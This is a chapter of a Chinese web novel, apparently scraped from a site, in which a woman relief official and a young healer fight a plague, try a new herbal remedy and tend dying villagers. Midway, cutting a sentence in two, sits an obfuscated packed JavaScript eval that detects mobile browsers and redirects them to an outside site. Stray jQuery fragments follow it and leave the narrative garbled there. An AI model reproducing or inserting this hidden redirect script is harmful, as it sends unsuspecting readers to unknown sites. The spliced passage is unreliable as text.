问诊探脉的医者，愁眉不展的官吏，熬药送药的亲友，垂死呜咽的病患，还有进进出出，来来往往，自请前来帮忙的乡民，他们在洒扫，在搬运，在搭手，在安慰。


    济病坊内，如群山一样的人头涌动，如狂浪一样的声音交织，季泠在寻觅她刚刚无意中捕捉到的字眼。


    “我知道方法！”


    “我知道根治之术！”


    随着那道声音越来越近，季泠终于看见那个人。


    那是一个年轻的姑娘，正一个个人求过去，想请求他们听听她的方法，却被一而再再而三地推搡开。


    她又拦住一个侍疾的乡民，他手中才煮好的汤药差点泼洒，怒极便将她狠狠一推。


    “哪里来的疯女人，别在这里挡道！”


    季泠循声，在拥挤又混乱的济病坊中张望逆行，越过身前阻挡的几人，费劲地伸手抓住她。


    “你知道怎么救治？”季泠皱着眉，还未穿过挡在她前方的人，只能透过缝隙传递话语。


    那女子见终于有人回应她了，激动地回抓住季泠的手，彼此紧握，她们越过阻障，终于会面，细汗已密布于她们额前。


    季泠即刻带着她到医帐之中，先问了她的来处。


    “我在大合乡快一个月了，并未见过你。”


    那姑娘见季泠穿着窄袖贴里，却是女子嗓音，眼神坚毅，可神形皆惫，难以判断她的身份。


    “民女冒昧，敢问您是否认识这里主事的大人？”


    “我就是主事的大人，朝廷派下的赈灾官，季执庸。”


    那姑娘眼睛瞬间亮了起来：“您是季大人？那位户部女官？”


    季泠点点头：“时间紧迫，你先告诉我，你是从何而来？为何说你有法子？要知道，湖广有名的医官都被巡抚大人请了过来，他们都束手无策。”


    那姑娘大喜过望，直直盯着季泠，几乎不舍得挪开眼，待她问完，才想起将自己的背囊放下。


    “季大人不必紧张，我确实不是大合乡人，是随家人来武昌探亲的。我叫凌泉，家中世代行医，我五岁便可辨认草药，惊闻大合乡突发疫病，我便偷跑过来，想略尽绵力。”


    季泠觉得她有些玩闹：“你未曾救治过患者？那你怎么敢说自己有法子？这可不是儿戏，全是活生生的人命。”


    “季大人眼下还有更好的法子吗？”


    季泠默然，她确实没有更好的法子，如今有任何新招，她都愿意一试，总归死马当作活马医。


    凌泉打开自己的背囊，里头放了几本古旧的羊皮书，还有一些她早已准备好的草药。


    季泠便站在一旁看着这个姑娘在医帐中寻找药材，称量配置药方。


    涉及医药之事，凌泉几乎忘我投入其中，铜秤之上各类药上了又下，下了又上，药炉之中，火起烟生，苦味逐渐弥漫。


    季泠看着她端出的药，扇手闻了闻，道：“和医官先前的药似乎并无不同。”


    “是的，我在大合乡仔细观察好几日，医官的药改进了多次，药效确实越来越好，但都未改进到点上。譬如用的那味蒿草，医官遵循旧法，使用茎处，我参照一本古籍，将其用根与叶结合，能够大大提升药效。”


    凌泉侃侃而谈，将羊皮书上记录指给季泠看。


    “当日疫病突起时，大合乡还未封锁，有一人到武昌城内才发作，那时我尚不知是大合乡的疫病，接诊后试了几回药，他便痊愈了。后来我们才得知大合乡爆发了疫病。”


    季泠并不通药理，可她知道该如何用人。


    若凌泉的药真能救命，大合乡的疫病不再蔓延，赈灾进展加快，乡民能尽快恢复农事生活，她也能腾手解决税粮案。


    只是，新药便如她焚尸一样，是冒险。


    而眼下，这场冒险，她要替凌泉作保，还在她并不擅长的领域，风险实在太大。


    “乡民未必愿意尝试新药，况且，就算我作保，他们也未必信任你。”


    “别告诉他们不就行了。”凌泉无所谓地耸耸肩。


    季泠诧异道：“这怎么行？”


    “季大人，民女听闻，您为了截住疫病源头，不惜扛住全乡压力焚烧尸体。当日您可以不顾乡民反对，为何如今不行？更何况，并非我要贬低乡民，您也见过了，他们一辈子不识文墨，不懂变通，只认那些死理。您和他们说理，和田里的牛羊较劲没什么两样。”


    季泠看着黑澄澄的药汁，若有所思。


    确实，凌泉说的没错，她让渡的知情权并不能益于他们的存活，可乡民除了存活，并不需要别的东西，譬如毫无用处的道理，譬如他们痊愈的根据。


    深思熟虑后，季泠点点头。


    她端起汤药，已经放温了，虽然凌泉言之有理，可她仍需以防万一。


    犹豫片刻，季泠将那碗新药一饮而下。


    “我就坐在这儿，半日之后，若我没什么异样，就将此药用下去。”


    凌泉目瞪口呆，“季大人，您，不怕我害您？”


    季泠笑笑：“我看你在此处呆的日子也不算短了。你一个小姑娘都敢背着家里人，跑到疫区冒险，我自然也敢赌一把，喝你的药。况且，我向来用人不疑。”


    她虽然不通医理，可凌泉那副挂心焦急的模样，并非作假，而她研药时的谨慎细致亦可见她的本事。


    凌泉闻言，将药炉中剩下的药汁倒出，亦全部饮尽。


    碗盏轻响间，季泠听到她说：“民女必不负大人信任。”


    几疗程后，轻症营帐中的许多乡民已经痊愈，留观几日，没有反复发作，就回家去了。


    济病坊中的情况却不容乐观。


    有些乡民身体底子不好，几服药下去，丝毫不见好转。


    病愈人数增多了，死亡人数没有减少。


    古往今来，能从疫病之中脱险幸存的少之又少。新药能有这样的效果，已然是极佳了。


    季泠与凌泉在济病坊中寸步不离地守了几日，观察新药的反应，却只能看着本有好转之兆的乡民撒手人寰。


    “为什么会这样？此药本该有效才是，轻症者都已经痊愈了，为何重病之人不仅没有缓解，反而加重以致身亡？”


    凌泉摇头叹息道：“疫病早已伤透他们的五脏六腑，如此一来已经是药石无医。”


    季泠万分悲戚，可不待她整理好自己的情绪，便注意到凌泉独自一人躲在济病坊最深的角落中。


    还是那样小的姑娘，独自一人从武昌府跑到大合乡，一个个人求过去，求他们听她的良方。辛苦制出了药，不待休息便开始救死扶伤，却只能眼睁睁看着病人撒手人寰。


    她该多难过啊。


    季泠缓缓走到她身后，蹲下来顺着她的背。


    凌泉一颤，胡乱抹去泪水，眼巴巴地看着她。


    “想哭便哭吧，我挡着，不叫人看见。”


    凌泉再难抑制，哀痛欲绝，已顾不上季泠是什么官员，只一味揽住她，埋在她的肩头。


    “季大人，是我医术不精，我救不回他们……”


    季泠闻言，眼眶滚热，在轻抚她时，仰起头，张了张嘴，想要猛吸一口气，胸腔却不自觉地痉挛，她只好抿紧唇，偷偷咽下翻涌的酸意。


    “凌泉，你知道吗，这几日，轻症营帐中的床板空出了好多。”她笑了一下，是屏气换来的轻松。


    “这都是你的功劳呀，”她说得很缓慢，生怕这姑娘听不清，“若是没有你，如今安然回家的那些人，还要忍受灾后的分离，甚至要挪进济病坊中。”


    “我大致算过了，光是这两日，痊愈的就有百余人。凌泉，不过两日而已，你便救了一百多人，这是多大的功德啊。”


    怀中的姑娘不再抽噎，可季泠肩头的湿意仍在蔓延。


    她需要释放沉积的痛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446346|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苦。人命太沉重了，哪怕只是一条，从她们手中流去，却如巨浪冲击。


    “所以凌泉，你已经是最最好的医者，我从未见过你这样勇敢细心、无私善良的姑娘。你是万千女子的榜样。”


    “季大人……”凌泉紧了紧双臂，将季泠揽得更紧，似乎这样，她便能从她身上获得一些坚持下去的力量。


    “季大人！季大人！”


    帘后传来急切呼唤，季泠心跳的急促，凌泉立刻放开她，随她一起站起来。


    “何事？”


    “一个病人找您……”


    季泠皱了皱眉，虽说她事必躬亲，可一个济病坊成百上千的病患，若是都要来找她，她岂不是累死了。


    “有说是什么事吗？”


    来传话的人见季泠神色淡漠，极力表达他的恳求：“是一位娘子……她快不行了……她将这个给您，只求您听她说几句话……”


    季泠接过他递来的帕子，是那位袁娘子的东西。在凌泉还未来时，她便已经染疫了，她那唯一的女儿无人照拂，只能日日跟在他们身边。


    那孩子还太小，不能进入济病坊，季泠常看到，她蹲在广场上，一个人安安静静的，不知在想什么。


    “带我过去。”


    季泠来到袁娘子身边，她的双颊几乎凹陷了，已呈灰败之色。


    袁娘子一见她，挣扎着想起身，可已经无力支撑那具枯瘦的身体。


    “别急，先躺下，慢慢说。”


    季泠回握住她的手，柔声安抚她。


    “季大人……您是一位好官……”


    季泠怔愣住，已经意识到她想要说什么。


    袁娘子气若游丝，季泠俯身去听。


    “我不行了……能得您照拂，是我们大合乡百姓有幸……只是，只是……我担心我的孩子，她若是没了母亲，日子不会好过的……”


    她越说，手攥得越紧，季泠无法想象这样瘦弱的女子竟还有这么大的力气，将她的手攥得生疼。


    “您放心，我会替您关照您的孩子，您别说话，先好好休息……”


    袁娘子终于得到了季泠的承诺，眼中流出泪来，滴在季泠手背上。


    “好……好……”


    带着挣扎后释然的困倦，袁娘子慢慢闭上眼。


    季泠原以为她是睡着了，坐在她身前，想替她理一理散乱的鬓发，却发觉，她的手正从她手中滑落，她怎么也握不住。


    可怖的闪念在她脑中流窜，季泠双唇颤抖，想要唤醒她。


    “袁娘子，袁娘子！你别睡啊，你别走……你的孩子还在等你呢……你听见了吗？”


    “你的孩子是不是叫小花？她在等你呢……我昨日才告诉她，小花马上可以见到娘亲了…”


    她紧紧合住她的双手，用额头贴着袁娘子的手，可额前的那双手冰凉下来。


    低头的瞬间，季泠也再不想睁开眼。


    她的头异常胀疼，连五脏六腑也被带动的疼痛了。


    身后的布帘被掀开，惨白的日光照进来。


    床板前多了几分明亮，多了两个人，将袁娘子的手抽离。


    季泠睁开眼，有些恍惚，只觉三两人影从她眼前晃过。再一睁眼时，床板上的人已经消失不见了。


    她扶着床板站起身，从左到右，看着济病坊。却觉得济病坊也随着她太阳穴的疼痛而膨胀，膨胀到撑得发白发虚，摸不清边界。


    耳边喧嚣不停，她却如潜入水底般听不清晰。眼前虚影是一艘艘午夜航船，她在水底只觉得光怪陆离。


    她脸上似乎汗津津的，水一直留下，好像是夏日的暴雨，她的衣襟也湿透了。


    她伸出手，想要扶住什么，却不慎摸了个空。


    那些直面死亡的病人的暗淡双眼突然掀起一片惊愕。


    在那片惊愕中，惊呼与叹息都像极了挽歌，季泠重重倒在了地上。